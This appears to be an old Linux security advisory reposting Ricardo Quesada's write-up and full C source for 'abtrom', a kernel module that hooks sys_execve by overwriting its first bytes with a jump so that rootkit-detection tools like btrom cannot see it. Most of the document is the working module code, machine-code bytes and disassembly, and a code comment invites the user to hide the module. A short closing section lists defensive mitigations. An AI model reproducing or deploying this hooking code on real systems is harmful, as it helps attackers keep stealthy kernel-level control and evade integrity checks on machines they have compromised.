COMMAND

    modules

SYSTEMS AFFECTED

    Linux

PROBLEM

    Ricardo  Quesada  posted  following.   New  ways  of of hiding the
    modules are found, so the 'lsmod'  cant find them, etc, etc.   But
    the problem is that all those modules hook the 'system call table'
    putting there their function.

    The "abtrom" is the "anti  btrom" (btrom is a trojan  eraser), and
    hooks the system  calls whitout using  the sys_call_table.   Using
    the sys_call_table to hook a  system call is the 'right  way', but
    it is not for a stealth module, because programs like "btrom"  can
    detect that, and having the 'System.map' (file that every paranoic
    administrator must  have), every  stealth module  can be  disabled
    ("btrom" uses this technique).

    Ok, lets talk  about the abtrom's  technique.  Take,  for example,
    that we want to hook  the system call "sys_exeve".   Disassembling
    that function...

        kdb> id sys_execve
        sys_execve:       pushl  %ebp
        sys_execve+0x1:   movl   %esp,%ebp
        sys_execve+0x3:   subl   $0x10,%esp
        sys_execve+0x6:   pushl  %esi
        sys_execve+0x7:   pushl  %ebx
        sys_execve+0x8:   addl   $0xfffffff4,%esp
        sys_execve+0xb:   movl   0x8(%ebp),%eax
        sys_execve+0xe:   pushl  %eax
        sys_execve+0xf:   call   getname

    Note that  the instruction  that it  is the  6th position occupies
    only 1  byte.   (That's important).   What we  have to  do, is  to
    place a 'jmp to_our_hooked_function' there.  Something like this:

        movl    hooked_execve, %eax
        jmp     *%eax

    and that occupies 7 bytes,  so we're going to overwrite  the first
    7 bytes  of the  sys_exeve function  (luckyly we  wont 'break' and
    instruction).  Ok,  before puting our  jump there, we  must backup
    those bytes.   And now,  in our  'hooked_execve' we  must place  a
    jump to the backuped bytes.  Following with our example:

    char original_bytes[20];                /* backuped bytes */
    void hooked_execve( void )
    {
            asm volatile( "jmp original_bytes;" );
    }

    and  after  running   the  backuped  bytes,   we  must  'jump   to
    sys_execve+7' to continue the sys_execve  code.  That's all.   The
    sys_exeve would look something like this:

        kdb> id sys_execve
        sys_execve:       movl   $0xc8434050,%eax
        sys_execve+0x5:   jmp    *%eax          <- Note that none 	of the
        sys_execve+0x7:   pushl  %ebx           <- instructions were 'broken'
        sys_execve+0x8:   addl   $0xfffffff4,%esp
        sys_execve+0xb:   movl   0x8(%ebp),%eax
        sys_execve+0xe:   pushl  %eax
        sys_execve+0xf:   call   getname

    Notes: In 'our_sys_excve' we  must restore the stack  before doing
    the jump.  Look the in the abtrom.c for and example.  Another  way
    to do the jump is (this occupies 1 byte less):

        push    $address
        ret

    So, why dont we  build the 'Anti abtrom'?   It's possible, but  it
    is difficult, because  a 'jump to_our_function'  can be placed  in
    many parts of the  code, and can be  disguised in many ways.   For
    info about 'btrom' take a look at:  Phrack #54 or

        http://www.pjn.gov.ar/~rquesada/progs.html

    Code follows:

    /*
     * abtrom: anti btrom
     * 22/08/99 by riq
     * v0.2.
     *
     * compile with:
     *   gcc -c -O2 abtrom.c
     *
     * This module was tested in:
     *      kernel 2.2.10
     *   	kernel 2.0.36
     *
     */
    
    #define MODULE
    #define __KERNEL__
    #include <linux/module.h>
    #include <linux/version.h>
    #include <syscall.h>
    #include <linux/unistd.h>
    #include <linux/sched.h>
    
    
    
    extern void *sys_call_table[];
    
    unsigned char ab_jmpcode1[7] = "\xb8\x67\x45\x23\x01"		/* mov $address, %eax */
				    "\xff\xe0";			/* jmp *%eax */
    
    unsigned char ab_bcode[20]  =  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" /* 13 nops */
				    "\xb8\x67\x45\x23\x01"		/* mov $address, %eax */
				    "\xff\xe0";			/* jmp *%eax */
    
    void abtrom_hook( int  a)
    {
	    printk("sys_execve is hooked by abtrom\n");
    
	    asm volatile (
		    "mov	%ebp, %esp;"				/* restore stack */
		    "popl	%ebp;"
		    "jmp	ab_bcode"
		    );
    }
    
    
    int abtrom( int numero )
    {
	    int i;
	    char *ptr;
	    unsigned int addr;
    
	    addr= (unsigned int) &abtrom_hook;
    
	    ptr = (char *) &addr;			/* get from_jump address */
	    for(i=0;i<4;i++)
		    ab_jmpcode1[1+i]=ptr[i];
    
	    ptr = sys_call_table[numero];
	    for(i=0;i<7;i++) {
		    ab_bcode[i]=ptr[i];		/* backup overwritten bytes */
		    ptr[i]=ab_jmpcode1[i];		/* hook */
	    }
    
	    addr = (unsigned int) ptr+7;		/* get to_jump address */
	    ptr = (char *) &addr;
	    for(i=0;i<4;i++)
		    ab_bcode[14+i]=ptr[i];
    
    
	    return 0;
    }
    
    int init_module(void)
    {
	    abtrom(__NR_execve);			/* hook the EXECVE function */
    
	    /*
	      Ocultar el modulo de la manera que mas les plazca.
	      Si van a usar -fomit-frame-buffer, modificar la forma
	      de restorear el stack.
    
	      Como está, no queda oculto.
	    */
    
	    return 0;
    }
    
    void cleanup_module(void)
    {
	    int i;
	    char *ptr;
    
	    ptr = sys_call_table[__NR_execve];
	    for(i=0;i<7;i++)
		    ptr[i] = ab_bcode[i];		/* restore de hook */
    
	    printk("abtrom: Bye.\n");
    }

SOLUTION

  * Put the kernel's code memory pages as read-only (this way we can't
	overwrite the sys_execve and others sys_calls).
  * Then we must put the page tables, also, as read-only.
  * And finally, when the exception comes from the 'kernel' (this is easy to
	verify. btrom uses this ), let the exception pass, otherwise consume
	it.